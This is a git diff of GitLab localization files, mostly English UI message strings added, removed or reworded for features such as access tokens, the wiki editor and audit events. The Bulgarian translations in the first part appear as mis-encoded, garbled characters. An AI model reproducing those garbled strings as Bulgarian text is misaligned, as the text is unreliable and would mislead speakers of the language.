msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Етапът на програмиране показва времето от първото подаване до Ñъздаването на заÑвката за Ñливане. Данните ще бъдат добавени тук автоматично Ñлед като бъде Ñъздадена първата заÑвка за Ñливане."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "СъвкупноÑтта от ÑÑŠÐ±Ð¸Ñ‚Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²ÐµÐ½Ð¸ към данните Ñъбрани за този етап."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "Етапът на проблемите показва колко е времето от Ñъздаването на проблем до определÑнето на целеви етап на проекта за него, или до добавÑнето му в ÑпиÑък на дъÑката за проблеми. Започнете да добавÑте проблеми, за да видите данните за този етап."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "Етапът от цикъла на разработка"
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "Етапът на планиране показва колко е времето от преходната Ñтъпка до изпращането на първото подаване. Това време ще бъде добавено автоматично Ñлед като изпратите първото Ñи подаване."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Етапът на преглед и одобрение показва времето от Ñъздаването на заÑвката за Ñливане до прилагането Ñ. Данните ще бъдат добавени автоматично Ñлед като приложите първата Ñи заÑвка за Ñливане."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Етапът на подготовка за издаване показва времето между прилагането на заÑвката за Ñливане и внедрÑването на кода в Ñредата на работещата крайна верÑиÑ. Данните ще бъдат добавени автоматично Ñлед като направите първото Ñи внедрÑване в крайната верÑиÑ."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Етапът на теÑтване показва времето, което е нужно на „Gitlab CI“ да изпълни вÑÑка Ñхема от задачи за Ñвързаната заÑвка за Ñливане. Данните ще бъдат добавени автоматично Ñлед като приключи изпълнението на първата Ви Ñхема."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "Времето, което отнема вÑеки Ð·Ð°Ð¿Ð¸Ñ Ð¾Ñ‚ данни за ÑÑŠÐ¾Ñ‚Ð²ÐµÑ‚Ð½Ð¸Ñ ÐµÑ‚Ð°Ð¿."
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "СтойноÑтта, коÑто Ñе намира в Ñредата на поÑледователноÑтта от наблюдавани данни. Ðапример: медианата на 3, 5 и 9 е 5, а медианата на 3, 5, 7 и 8 е (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr "ÐеизвеÑтно"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 67e6aea05ac..e48841373c2 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:22\n"
+"PO-Revision-Date: 2021-07-01 21:04\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
